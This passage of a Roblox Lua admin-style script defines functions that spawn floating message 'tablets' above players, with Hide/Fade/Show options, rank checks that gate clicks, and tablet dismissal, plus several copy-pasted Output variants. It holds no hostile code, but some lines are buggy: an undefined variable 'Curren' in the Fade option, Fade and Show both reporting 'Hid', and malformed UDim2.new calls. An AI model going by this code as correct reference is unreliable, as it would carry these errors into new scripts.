  10333.                     local CurrName = Current.Name
  10334.                     Current.Transparency = 1
  10335.                     Current = CurrPar
  10336.                     MakeChildren(Plr)
  10337.                     Output("Hid "..CurrName, Plr, 5)
  10338.                 end)
  10339.         end, OptionColor)
  10340.         Output("Fade", Plr, nil, function()
  10341.                 ypcall(function()
  10342.                     local CurrPar = Current.Parent or game
  10343.                     local CurrName = Current.Name
  10344.                     Curren.Transparency = 0.5
  10345.                     Current = CurrPar
  10346.                     MakeChildren(Plr)
  10347.                     Output("Hid "..CurrName, Plr, 5)
  10348.                 end)
  10349.         end, OptionColor)
  10350.         Output("Show", Plr, nil, function()
  10351.                 ypcall(function()
  10352.                     local CurrPar = Current.Parent or game
  10353.                     local CurrName = Current.Name
  10354.                     Current.Transparency = 0
  10355.                     Current = CurrPar
  10356.                     MakeChildren(Plr)
  10357.                     Output("Hid "..CurrName, Plr, 5)
  10358.                 end)
  10359.             end, OptionColor)
  10360.         Output("Refresh", Plr, nil, function()
  10361.             ypcall(function()
  10362.                 Refresh(Plr)
  10363.                 Output("Refreshed Instance Options", Plr, 5)
  10364.             end)
  10365.         end, OptionColor)
  10366.         else
  10367.             Output("You cannot use this", Plr,5)
  10368.             return
  10369.     end
  10370. end
  10371. function GetRank(Plr1, Test)
  10372.     ypcall(function()
  10373.         if type(Plr1) == "userdata" then
  10374.             Plr1 = Plr1.Name
  10375.         end
  10376.     end)
  10377.     if Ranks[Plr1] ~= nil then
  10378.         return Ranks[Plr1]
  10379.     end
  10380.     local QuickArray = {}
  10381.     QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RanksList[0].Color, Desc = RanksList[0].Desc}
  10382.     return QuickArray[Plr1]
  10383. end
  10384.  
  10385. function CanRun(Plr1, Plr2)
  10386.     Details1 = GetRank(Plr1.Name)
  10387.     Details2 = GetRank(Plr2.Name)
  10388.     if Details1.Rank >= Details2.Rank then
  10389.         return true
  10390.     end
  10391.     return false
  10392. end
  10393.  
  10394. function Dismiss(Plr, Identity)
  10395.     ypcall(function()
  10396.         if Plr ~= nil then
  10397.             if type(Plr) == "userdata" then
  10398.                 Plr = Plr.Name
  10399.             end
  10400.             for x,v in pairs(AllTabs) do
  10401.                 ypcall(function()
  10402.                     if v.Plr == Plr then
  10403.                         if Identity ~= nil and v.ID ~= Identity then
  10404.                             return
  10405.                         elseif Identity ~= nil and v.ID == Identity then
  10406.                             coroutine.resume(coroutine.create(function()
  10407.                                 for i = 0.5, 1, 0.1 do
  10408.                                     wait()
  10409.                                     v.Tab.Transparency = i
  10410.                                     v.Sel.Transparency = i
  10411.                                     v.Label.TextTransparency = i
  10412.                                     v.Label.TextStrokeTransparency = i
  10413.                                 end
  10414.                                 ypcall(function()
  10415.                                 v.Holder:Destroy()
  10416.                                 end)
  10417.                                 AllTabs[x] = nil
  10418.                             end))
  10419.                         elseif Identity == nil then
  10420.                             ypcall(function() v.Holder:Destroy() end)
  10421.                             AllTabs[x] = nil
  10422.                         end
  10423.                     end
  10424.                 end)
  10425.             end
  10426.         else
  10427.             for i,v in pairs(AllTabs) do
  10428.                 ypcall(function()
  10429.                     v.Holder:Destroy()
  10430.                     AllTabs[i] = nil
  10431.                 end)
  10432.             end
  10433.         end
  10434.     end)
  10435. end
  10436.  
  10437. function GetGarbage()
  10438.     return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  10439. end
  10440.  
  10441. function RemObj(Obj, Class)
  10442.     ypcall(function()
  10443.         if #Obj:GetChildren() > 0 then
  10444.             for _,x in pairs(Obj:GetChildren()) do
  10445.                 ypcall(function()
  10446.                     RemObj(x, Class)
  10447.                 end)
  10448.             end
  10449.         end
  10450.         if Obj.ClassName == Class then
  10451.             Obj:Destroy()
  10452.         end
  10453.     end)
  10454. end
  10455.  
  10456. function FindTab(Mod)
  10457.     for i,v in pairs(AllTabs) do
  10458.         if v.Holder == Mod then
  10459.             return true
  10460.         end
  10461.     end
  10462.     return false
  10463. end
  10464.  
  10465.  
  10466. function Output(Msg, Plr, Time, Func, Color, Image, Test)
  10467.     if Removed == false then
  10468.         local ShowGarbage = false
  10469.         ypcall(function()
  10470.             if Msg == nil then
  10471.                 Msg = "N/A"
  10472.             elseif Msg == "ShowGarbage" then
  10473.                 Msg = "Current Garbage Count: "..GetGarbage()
  10474.                 ShowGarbage = true
  10475.             else
  10476.                 Msg = tostring(Msg)
  10477.             end
  10478.             if Plr == nil then
  10479.                 Plr = Plrs[Owner] or error("No Player Found")
  10480.             elseif type(Plr) == "string" then
  10481.                 local FoundPlr = false
  10482.                 for _,v in pairs(All()) do
  10483.                     if v.Name == Plr then
  10484.                         Plr = v
  10485.                         FoundPlr = true
  10486.                         break
  10487.                     end
  10488.                 end
  10489.                 if FoundPlr == false then
  10490.                     Plr = Plrs[Owner] or error("No Player Found")
  10491.                 end
  10492.             end
  10493.            
  10494.             if Color == nil then
  10495.                 Color = GetRank(Plr.Name).Color
  10496.            
  10497.             end
  10498.            
  10499.             local Holder = Instance.new("Model")
  10500.             Holder.Name = "KKA"
  10501.            
  10502.             local Tab = Instance.new("Part", Holder)
  10503.             Tab.Name = "KKA Tablet"
  10504.             Tab.FormFactor = "Custom"
  10505.             Tab.Anchored = true
  10506.             if Time == nil then
  10507.                 Tab.Color = Color
  10508.             else
  10509.                 Tab.Color = OptionColor
  10510.             end
  10511.             Tab.CanCollide = false
  10512.             Tab.Locked = true
  10513.             Tab.Transparency = TabletTransparency
  10514.             Tab.Size = Vector3.new(2.2,2.2,2.2)
  10515.            
  10516.             Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8)
  10517.            
  10518.             local ID = Instance.new("NumberValue")
  10519.             ID.Name = "ID"
  10520.             ID.Value = math.random(-999999999, 999999999)
  10521.             ID.Parent = Holder
  10522.            
  10523.             --[[Delay(0, function()
  10524.                 while wait() do
  10525.                     if Tab.Parent == nil and FindTab(Holder) then
  10526.                         ypcall(function()
  10527.                             for i,v in pairs(AllTabs) do
  10528.                                 if v.Holder == Holder then
  10529.                                     ypcall(function() v.Holder:Destroy() end)
  10530.                                     AllTabs[i] = nil
  10531.                                 end
  10532.                             end
  10533.                         end)
  10534.                         Output(Msg, Plr, Time, Func, Color, Image, Test)
  10535.                         break
  10536.                     end
  10537.                 end
  10538.             end)]]--
  10539.            
  10540.             local BM = Instance.new("BlockMesh")
  10541.             BM.Parent = Tab
  10542.            
  10543.            
  10544.            
  10545.  
  10546.             Sel = Instance.new("SelectionBox")
  10547.             Sel.Color=BrickColor.new("White")
  10548.             Sel.Adornee = Tab
  10549.             Sel.Parent = Tab
  10550.  
  10551.             local BG = Instance.new("BillboardGui")
  10552.             BG.Name = "BG"
  10553.             BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  10554.             BG.Size = UDim2.new(0,1,0,1)
  10555.             BG.Adornee = Tab
  10556.             BG.Parent = Tab
  10557.            
  10558.             Delay(0, function()
  10559.                 while BG.Parent ~= nil do wait()
  10560.                     ypcall(function()
  10561.                         BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  10562.                     end)
  10563.                 end
  10564.             end)
  10565.  
  10566.            
  10567.             local TL = Instance.new("TextLabel")
  10568.             TL.Name = "TL"
  10569.             TL.FontSize = "Size24"
  10570.             TL.Font = "ArialBold"
  10571.             TL.Text = Msg
  10572.             TL.TextColor3 = Tab.Color
  10573.             TL.Size = UDim2.new(0,2,0,2)
  10574.             TL.TextTransparency = 0
  10575.             TL.TextStrokeTransparency = 0
  10576.             TL.Parent = BG
  10577.            
  10578.             TL.Size = UDim2.new(0,1,0,1)
  10579.             TL.TextTransparency = 0
  10580.             TL.TextStrokeColor3 = Color3.new(255, 255, 255)
  10581.             TL.TextStrokeTransparency = 0
  10582.             TL.Parent = BG
  10583.            
  10584.            
  10585.             local FTT = Instance.new("TextLabel", FTG)
  10586.             FTT.Name = "FTT"
  10587.             FTT.BackgroundTransparency = 1
  10588.             FTT.Size = UDim2.new(0,1000,0,1000)
  10589.             FTT.Font = "ArialBold"
  10590.             FTT.FontSize = Enum.FontSize.Size24
  10591.             FTT.Text = Msg
  10592.             FTT.TextScaled = true
  10593.             FTT.TextStrokeTransparency = 0
  10594.             FTT.TextColor3 = Database.Colors.White
  10595.             FTT.TextStrokeColor3 = Database.Colors.Black
  10596.            
  10597.             local TRO = Instance.new("BodyVelocity", Tab)
  10598.             TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000)
  10599.             TRO.P = 1250
  10600.             TRO.velocity = Vector3.new(0,0.17,0)
  10601.            
  10602.             local TLI = Instance.new("PointLight", Tab)
  10603.             TLI.Brightness = 0.15
  10604.             TLI.Range = 0.9
  10605.             TLI.Shadows = true
  10606.             if ShowGarbage == true then
  10607.                 Delay(0, function()
  10608.                     while TL.Parent ~= nil do
  10609.                         TL.Text = "Current Garbage Count: "..GetGarbage()
  10610.                         wait(.5)
  10611.                     end
  10612.                 end)
  10613.             end
  10614.             if Image ~= nil then
  10615.                 local BBBG = Instance.new("BillboardGui")
  10616.                 BBBG.Size = UDim2.new(5, 0, 6, 0)
  10617.                 BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  10618.                 BBBG.AlwaysOnTop = true
  10619.                 BBBG.Adornee = Tab
  10620.                 BBBG.Parent = Tab
  10621.                
  10622.                 Delay(0, function()
  10623.                     while BBBG.Parent ~= nil do wait()
  10624.                         ypcall(function()
  10625.                             BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  10626.                         end)
  10627.                     end
  10628.                 end)
  10629.            
  10630.            
  10631.                 local NewImg = Instance.new("ImageLabel")
  10632.                 NewImg.Size = UDim2.new(1, 0, 1, 0)
  10633.                 NewImg.BackgroundTransparency = 1
  10634.                 NewImg.Image = Image
  10635.                 NewImg.Parent = BBBG
  10636.             end
  10637.  
  10638.             local Clicker = Instance.new("ClickDetector")
  10639.             Clicker.MaxActivationDistance = 1/0
  10640.  
  10641.             if Time ~= nil then
  10642.                 coroutine.resume(coroutine.create(function()
  10643.                     wait(tonumber(Time))
  10644.                     Dismiss(Plr, ID)
  10645.                 end))
  10646.             end
  10647.  
  10648.             Clicker.MouseClick:connect(function(Player)
  10649.                 if Player.Name == Plr.Name or CanRun(Player, Plr) then
  10650.                     ypcall(function()
  10651.                         if Func ~= nil then
  10652.                             Func(Holder)
  10653.                         else
  10654.                             Dismiss(Player, ID)
  10655.                         end
  10656.                     end)
  10657.                 end
  10658.             end)
  10659.             Clicker.Parent = Tab
  10660.            
  10661.             Holder.Parent = Work
  10662.  
  10663.             AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  10664.         end)
  10665.     end
  10666. end
  10667.  
  10668. function Output2(Msg, Plr, Time, Func, Color, Image)
  10669.     if Removed == false then
  10670.         local ShowGarbage = false
  10671.         ypcall(function()
  10672.             if Msg == nil then
  10673.                 Msg = "N/A"
  10674.             elseif Msg == "ShowGarbage" then
  10675.                 Msg = "Current Garbage Count: "..GetGarbage()
  10676.                 ShowGarbage = true
  10677.             else
  10678.                 Msg = tostring(Msg)
  10679.             end
  10680.             if Plr == nil then
  10681.                 Plr = Plrs[Owner] or error("No Player Found")
  10682.             elseif type(Plr) == "string" then
  10683.                 local FoundPlr = false
  10684.                 for _,v in pairs(All()) do
  10685.                     if v.Name == Plr then
  10686.                         Plr = v
  10687.                         FoundPlr = true
  10688.                         break
  10689.                     end
  10690.                 end
  10691.                 if FoundPlr == false then
  10692.                     Plr = Plrs[Owner] or error("No Player Found")
  10693.                 end
  10694.             end
  10695.            
  10696.             local Holder = Instance.new("Model")
  10697.             Holder.Name = "KKA"
  10698.            
  10699.             local Tab = Instance.new("Part")
  10700.             Tab.Name = "KKA Tablet"
  10701.             Tab.FormFactor = "Custom"
  10702.             Tab.Anchored = true
  10703.             Tab.Color = BrickColor.new("Teal").Color
  10704.             Tab.CanCollide = false
  10705.             Tab.Locked = true
  10706.             Tab.Transparency = 0.15
  10707.             Tab.Size = Vector3.new(2.2,2.2,2.2)
  10708.             Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8)
  10709.             Tab.Parent = Holder
  10710.    
  10711.             local BMO = Instance.new("BlockMesh")
  10712.             BMO.Parent = Tab
  10713.    
  10714.             local ID = Instance.new("NumberValue")
  10715.             ID.Name = "ID"
  10716.             ID.Value = math.random(-999999999, 999999999)
  10717.             ID.Parent = Holder
  10718.            
  10719.             --[[Delay(0, function()
  10720.                 while wait() do
  10721.                     if Tab.Parent == nil and FindTab(Holder) then
  10722.                         ypcall(function()
  10723.                             for i,v in pairs(AllTabs) do
  10724.                                 if v.Holder == Holder then
  10725.                                     ypcall(function() v.Holder:Destroy() end)
  10726.                                     AllTabs[i] = nil
  10727.                                 end
  10728.                             end
  10729.                         end)
  10730.                         Output2(Msg, Plr, Time, Func, Color, Image)
  10731.                         break
  10732.                     end
  10733.                 end
  10734.             end)]]--
  10735.  
  10736.             Sel = Instance.new("SelectionBox")
  10737.             Sel.Color = BrickColor.new("White")
  10738.             Sel.Transparency = 0.1
  10739.             Sel.Adornee = Tab
  10740.             Sel.Parent = Tab
  10741.  
  10742.             local BG = Instance.new("BillboardGui")
  10743.             BG.Name = "BG"
  10744.             BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  10745.             BG.Size = UDim2.new(0,0.6,00.6)
  10746.             BG.Adornee = Tab
  10747.             BG.Parent = Tab
  10748.            
  10749.             Delay(0, function()
  10750.                 while BG.Parent ~= nil do wait()
  10751.                     ypcall(function()
  10752.                         BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  10753.                     end)
  10754.                 end
  10755.             end)
  10756.  
  10757.             local TL = Instance.new("TextLabel")
  10758.             TL.Name = "TL"
  10759.             TL.FontSize = "Size24"
  10760.             TL.Font = "ArialBold"
  10761.             TL.Text = Msg
  10762.             TL.TextColor3 = Tab.Color
  10763.             TL.Size = UDim2.new(0,2,0,2)
  10764.             TL.TextTransparency = 0
  10765.             TL.TextStrokeTransparency = 0
  10766.             TL.Parent = BG
  10767.            
  10768.             TL.Size = UDim2.new(0,1,0,1)
  10769.             TL.TextTransparency = 0
  10770.             TL.TextStrokeColor3 = Color3.new(255, 255, 255)
  10771.             TL.TextStrokeTransparency = 0
  10772.             TL.Parent = BG
  10773.            
  10774.            
  10775.             local FTT = Instance.new("TextLabel", FTG)
  10776.             FTT.Name = "FTT"
  10777.             FTT.BackgroundTransparency = 1
  10778.             FTT.Size = UDim2.new(0,1000,0,1000)
  10779.             FTT.Font = "ArialBold"
  10780.             FTT.FontSize = Enum.FontSize.Size24
  10781.             FTT.Text = Msg
  10782.             FTT.TextScaled = true
  10783.             FTT.TextStrokeTransparency = 0
  10784.             FTT.TextColor3 = BrickColor.new("Institutional white").Color
  10785.             FTT.TextStrokeColor3 = BrickColor.new("Really black").Color
  10786.            
  10787.             local TRO = Instance.new("BodyVelocity", Tab)
  10788.             TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000)
  10789.             TRO.P = 1250
  10790.             TRO.velocity = Vector3.new(0,0.17,0)
  10791.            
  10792.             local TLI = Instance.new("PointLight", Tab)
  10793.             TLI.Brightness = 0.15
  10794.             TLI.Range = 0.9
  10795.             TLI.Shadows = true
  10796.             if ShowGarbage == true then
  10797.                 Delay(0, function()
  10798.                     while TL.Parent ~= nil do
  10799.                         TL.Text = "Current Garbage Count: "..GetGarbage()
  10800.                         wait(.5)
  10801.                     end
  10802.                 end)
  10803.             end
  10804.             if Image ~= nil then
  10805.                 local BBBG = Instance.new("BillboardGui")
  10806.                 BBBG.Size = UDim2.new(5, 0, 6, 0)
  10807.                 BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  10808.                 BBBG.AlwaysOnTop = true
  10809.                 BBBG.Adornee = Tab
  10810.                 BBBG.Parent = Tab
  10811.                
  10812.                 Delay(0, function()
  10813.                     while BBBG.Parent ~= nil do wait()
  10814.                         ypcall(function()
  10815.                             BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  10816.                         end)
  10817.                     end
  10818.                 end)
  10819.            
  10820.            
  10821.                 local NewImg = Instance.new("ImageLabel")
  10822.                 NewImg.Size = UDim2.new(1, 0, 1, 0)
  10823.                 NewImg.BackgroundTransparency = 1
  10824.                 NewImg.Image = Image
  10825.                 NewImg.Parent = BBBG
  10826.             end
  10827.  
  10828.  
  10829.             local Clicker = Instance.new("ClickDetector")
  10830.             Clicker.MaxActivationDistance = 1/0
  10831.  
  10832.             if Time ~= nil then
  10833.                 coroutine.resume(coroutine.create(function()
  10834.                     wait(tonumber(Time))
  10835.                     Dismiss(Plr, ID)
  10836.                 end))
  10837.             end
  10838.  
  10839.             Clicker.MouseClick:connect(function(Player)
  10840.                 if Player.Name == Plr.Name or CanRun(Player, Plr) then
  10841.                     ypcall(function()
  10842.                         if Func ~= nil then
  10843.                             Func(Holder)
  10844.                         else
  10845.                             Dismiss(Player, ID)
  10846.                         end
  10847.                     end)
  10848.                 end
  10849.             end)
  10850.             Clicker.Parent = Tab
  10851.            
  10852.             Holder.Parent = Work
  10853.  
  10854.             AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0}
  10855.         end)
  10856.     end
  10857. end
  10858.  
  10859. function Output3(Msg, Plr, Time, Func, Color, Image)
  10860.     if Removed == false then
  10861.         local ShowGarbage = false
  10862.         ypcall(function()
  10863.             if Msg == nil then
  10864.                 Msg = "N/A"
  10865.             elseif Msg == "ShowGarbage" then
  10866.                 Msg = "Current Garbage Count: "..GetGarbage()
  10867.                 ShowGarbage = true
  10868.             else
  10869.                 Msg = tostring(Msg)
  10870.             end
  10871.             if Plr == nil then
  10872.                 Plr = Plrs[Owner] or error("No Player Found")
  10873.             elseif type(Plr) == "string" then
  10874.                 local FoundPlr = false
  10875.                 for _,v in pairs(All()) do
  10876.                     if v.Name == Plr then
  10877.                         Plr = v
  10878.                         FoundPlr = true
  10879.                         break
  10880.                     end
  10881.                 end
  10882.                 if FoundPlr == false then
  10883.                     Plr = Plrs[Owner] or error("No Player Found")
  10884.                 end
  10885.             end
  10886.            
  10887.             local Holder = Instance.new("Model")
  10888.             Holder.Name = "KKA"
  10889.            
  10890.             local Tab = Instance.new("Part")
  10891.             Tab.Name = "KKA Tablet"
  10892.             Tab.FormFactor = "Custom"
  10893.             Tab.Anchored = true
  10894.             Tab.Color = BrickColor.new("Lime green").Color
  10895.             Tab.CanCollide = false
  10896.             Tab.Locked = true
  10897.             Tab.Transparency = 0.15
  10898.             Tab.Size = Vector3.new(2.2,2.2,2.2)
  10899.             Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8)
  10900.             Tab.Parent = Holder
  10901.    
  10902.             local BMO = Instance.new("BlockMesh")
  10903.             BMO.Parent = Tab
  10904.    
  10905.             local ID = Instance.new("NumberValue")
  10906.             ID.Name = "ID"
  10907.             ID.Value = math.random(-999999999, 999999999)
  10908.             ID.Parent = Holder
  10909.            
  10910.             --[[Delay(0, function()
  10911.                 while wait() do
  10912.                     if Tab.Parent == nil and FindTab(Holder) then
  10913.                         ypcall(function()
  10914.                             for i,v in pairs(AllTabs) do
  10915.                                 if v.Holder == Holder then
  10916.                                     ypcall(function() v.Holder:Destroy() end)
  10917.                                     AllTabs[i] = nil
  10918.                                 end
  10919.                             end
  10920.                         end)
  10921.                         Output2(Msg, Plr, Time, Func, Color, Image)
  10922.                         break
  10923.                     end
  10924.                 end
  10925.             end)]]--
  10926.  
  10927.             Sel = Instance.new("SelectionBox")
  10928.             Sel.Color = BrickColor.new("White")
  10929.             Sel.Transparency = 0.1
  10930.             Sel.Adornee = Tab
  10931.             Sel.Parent = Tab
  10932.  
  10933.             local BG = Instance.new("BillboardGui")
  10934.             BG.Name = "BG"
  10935.             BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  10936.             BG.Size = UDim2.new(0,0.6,00.6)
  10937.             BG.Adornee = Tab
  10938.             BG.Parent = Tab
  10939.            
  10940.             Delay(0, function()
  10941.                 while BG.Parent ~= nil do wait()
  10942.                     ypcall(function()
  10943.                         BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  10944.                     end)
  10945.                 end
  10946.             end)
  10947.  
  10948.             local TL = Instance.new("TextLabel")
  10949.             TL.Name = "TL"
  10950.             TL.FontSize = "Size24"
  10951.             TL.Font = "ArialBold"
  10952.             TL.Text = Msg
  10953.             TL.TextColor3 = Tab.Color
  10954.             TL.Size = UDim2.new(0,2,0,2)
  10955.             TL.TextTransparency = 0
  10956.             TL.TextStrokeTransparency = 0
  10957.             TL.Parent = BG
  10958.            
  10959.             TL.Size = UDim2.new(0,1,0,1)
  10960.             TL.TextTransparency = 0
  10961.             TL.TextStrokeColor3 = Color3.new(255, 255, 255)
  10962.             TL.TextStrokeTransparency = 0
  10963.             TL.Parent = BG
  10964.            
  10965.            
  10966.             local FTT = Instance.new("TextLabel", FTG)
  10967.             FTT.Name = "FTT"
  10968.             FTT.BackgroundTransparency = 1
  10969.             FTT.Size = UDim2.new(0,1000,0,1000)
  10970.             FTT.Font = "ArialBold"
  10971.             FTT.FontSize = Enum.FontSize.Size24
  10972.             FTT.Text = Msg
  10973.             FTT.TextScaled = true
  10974.             FTT.TextStrokeTransparency = 0
  10975.             FTT.TextColor3 = BrickColor.new("Institutional white").Color
  10976.             FTT.TextStrokeColor3 = BrickColor.new("Really black").Color
  10977.            
  10978.             local TRO = Instance.new("BodyVelocity", Tab)
  10979.             TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000)
  10980.             TRO.P = 1250
  10981.             TRO.velocity = Vector3.new(0,0.17,0)
  10982.            
  10983.             local TLI = Instance.new("PointLight", Tab)
  10984.             TLI.Brightness = 0.15
  10985.             TLI.Range = 0.9
  10986.             TLI.Shadows = true
  10987.             if ShowGarbage == true then
  10988.                 Delay(0, function()
  10989.                     while TL.Parent ~= nil do
  10990.                         TL.Text = "Current Garbage Count: "..GetGarbage()
  10991.                         wait(.5)
  10992.                     end
  10993.                 end)
  10994.             end
  10995.             if Image ~= nil then
  10996.                 local BBBG = Instance.new("BillboardGui")
  10997.                 BBBG.Size = UDim2.new(5, 0, 6, 0)
  10998.                 BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  10999.                 BBBG.AlwaysOnTop = true
  11000.                 BBBG.Adornee = Tab
  11001.                 BBBG.Parent = Tab
  11002.                
  11003.                 Delay(0, function()
  11004.                     while BBBG.Parent ~= nil do wait()
  11005.                         ypcall(function()
  11006.                             BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  11007.                         end)
  11008.                     end
  11009.                 end)
  11010.            
  11011.            
  11012.                 local NewImg = Instance.new("ImageLabel")
  11013.                 NewImg.Size = UDim2.new(1, 0, 1, 0)
  11014.                 NewImg.BackgroundTransparency = 1
  11015.                 NewImg.Image = Image
  11016.                 NewImg.Parent = BBBG
  11017.             end
  11018.  
  11019.  
  11020.             local Clicker = Instance.new("ClickDetector")
  11021.             Clicker.MaxActivationDistance = 1/0
  11022.  
  11023.             if Time ~= nil then
  11024.                 coroutine.resume(coroutine.create(function()
  11025.                     wait(tonumber(Time))
  11026.                     Dismiss(Plr, ID)
  11027.                 end))
  11028.             end
  11029.  
  11030.             Clicker.MouseClick:connect(function(Player)
  11031.                 if Player.Name == Plr.Name or CanRun(Player, Plr) then
  11032.                     ypcall(function()
  11033.                         if Func ~= nil then
  11034.                             Func(Holder)
  11035.                         else
  11036.                             Dismiss(Player, ID)
  11037.                         end
  11038.                     end)
  11039.                 end
  11040.             end)
  11041.             Clicker.Parent = Tab
  11042.            
  11043.             Holder.Parent = Work
  11044.  
  11045.             AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0}
  11046.         end)
  11047.     end
  11048. end
  11049. function Output4(Msg, Plr, Time, Func, Color, Image)
  11050.     if Removed == false then
  11051.         local ShowGarbage = false
  11052.         ypcall(function()
  11053.             if Msg == nil then
  11054.                 Msg = "N/A"
  11055.             elseif Msg == "ShowGarbage" then
  11056.                 Msg = "Current Garbage Count: "..GetGarbage()
  11057.                 ShowGarbage = true
  11058.             else
  11059.                 Msg = tostring(Msg)
  11060.             end
  11061.             if Plr == nil then
  11062.                 Plr = Plrs[Owner] or error("No Player Found")
  11063.             elseif type(Plr) == "string" then
  11064.                 local FoundPlr = false
  11065.                 for _,v in pairs(All()) do
  11066.                     if v.Name == Plr then
  11067.                         Plr = v
  11068.                         FoundPlr = true
  11069.                         break
  11070.                     end
  11071.                 end
  11072.                 if FoundPlr == false then
  11073.                     Plr = Plrs[Owner] or error("No Player Found")
  11074.                 end
  11075.             end
  11076.            
  11077.             local Holder = Instance.new("Model")
  11078.             Holder.Name = "KKA"
  11079.            
  11080.             local Tab = Instance.new("Part")
  11081.             Tab.Name = "KKA Tablet"
  11082.             Tab.FormFactor = "Custom"
  11083.             Tab.Anchored = true
  11084.             Tab.Color = BrickColor.new("White").Color
  11085.             Tab.CanCollide = false
  11086.             Tab.Locked = true
  11087.             Tab.Transparency = 0.15
  11088.             Tab.Size = Vector3.new(2.2,2.2,2.2)
  11089.             Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(-8, -8, -8)
  11090.             Tab.Parent = Holder
  11091.    
  11092.             local BMO = Instance.new("BlockMesh")
  11093.             BMO.Parent = Tab
  11094.    
  11095.             local ID = Instance.new("NumberValue")
  11096.             ID.Name = "ID"
  11097.             ID.Value = math.random(-999999999, 999999999)
  11098.             ID.Parent = Holder
  11099.            
  11100.             --[[Delay(0, function()
  11101.                 while wait() do
  11102.                     if Tab.Parent == nil and FindTab(Holder) then
  11103.                         ypcall(function()
  11104.                             for i,v in pairs(AllTabs) do
  11105.                                 if v.Holder == Holder then
  11106.                                     ypcall(function() v.Holder:Destroy() end)
  11107.                                     AllTabs[i] = nil
  11108.                                 end
  11109.                             end
  11110.                         end)
  11111.                         Output2(Msg, Plr, Time, Func, Color, Image)
  11112.                         break
  11113.                     end
  11114.                 end
  11115.             end)]]--
  11116.  
  11117.             Sel = Instance.new("SelectionBox")
  11118.             Sel.Color = BrickColor.new("White")
  11119.             Sel.Transparency = 0.1
  11120.             Sel.Adornee = Tab
  11121.             Sel.Parent = Tab
  11122.  
  11123.             local BG = Instance.new("BillboardGui")
  11124.             BG.Name = "BG"
  11125.             BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  11126.             BG.Size = UDim2.new(0,0.6,00.6)
  11127.             BG.Adornee = Tab
  11128.             BG.Parent = Tab
  11129.            
  11130.             Delay(0, function()
  11131.                 while BG.Parent ~= nil do wait()
  11132.                     ypcall(function()
  11133.                         BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  11134.                     end)
  11135.                 end
  11136.             end)
  11137.  
  11138.             local TL = Instance.new("TextLabel")
  11139.             TL.Name = "TL"
  11140.             TL.FontSize = "Size24"
  11141.             TL.Font = "ArialBold"
  11142.             TL.Text = Msg
  11143.             TL.TextColor3 = Tab.Color
  11144.             TL.Size = UDim2.new(0,2,0,2)
  11145.             TL.TextTransparency = 0
  11146.             TL.TextStrokeTransparency = 0
  11147.             TL.Parent = BG
  11148.            
  11149.             TL.Size = UDim2.new(0,1,0,1)
  11150.             TL.TextTransparency = 0
  11151.             TL.TextStrokeColor3 = Color3.new(255, 255, 255)
  11152.             TL.TextStrokeTransparency = 0
  11153.             TL.Parent = BG
  11154.            
  11155.            
  11156.             local FTT = Instance.new("TextLabel", FTG)
  11157.             FTT.Name = "FTT"
  11158.             FTT.BackgroundTransparency = 1
  11159.             FTT.Size = UDim2.new(0,1000,0,1000)
  11160.             FTT.Font = "ArialBold"
  11161.             FTT.FontSize = Enum.FontSize.Size24
  11162.             FTT.Text = Msg
  11163.             FTT.TextScaled = true
  11164.             FTT.TextStrokeTransparency = 0
  11165.             FTT.TextColor3 = BrickColor.new("Institutional white").Color
  11166.             FTT.TextStrokeColor3 = BrickColor.new("Really black").Color
  11167.            
  11168.             local TRO = Instance.new("BodyVelocity", Tab)
  11169.             TRO.maxForce = Vector3.new(40000000000, 40000000000, 40000000000)
  11170.             TRO.P = 1250
  11171.             TRO.velocity = Vector3.new(0,0.17,0)
  11172.            
  11173.             local TLI = Instance.new("PointLight", Tab)
  11174.             TLI.Brightness = 0.15
  11175.             TLI.Range = 0.9
  11176.             TLI.Shadows = true
  11177.             if ShowGarbage == true then
  11178.                 Delay(0, function()
  11179.                     while TL.Parent ~= nil do
  11180.                         TL.Text = "Current Garbage Count: "..GetGarbage()
  11181.                         wait(.5)
  11182.                     end
  11183.                 end)
  11184.             end
  11185.             if Image ~= nil then
  11186.                 local BBBG = Instance.new("BillboardGui")
  11187.                 BBBG.Size = UDim2.new(5, 0, 6, 0)
  11188.                 BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  11189.                 BBBG.AlwaysOnTop = true
  11190.                 BBBG.Adornee = Tab
  11191.                 BBBG.Parent = Tab
  11192.                
  11193.                 Delay(0, function()
  11194.                     while BBBG.Parent ~= nil do wait()
  11195.                         ypcall(function()
  11196.                             BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  11197.                         end)
  11198.                     end
  11199.                 end)
  11200.            
  11201.            
  11202.                 local NewImg = Instance.new("ImageLabel")
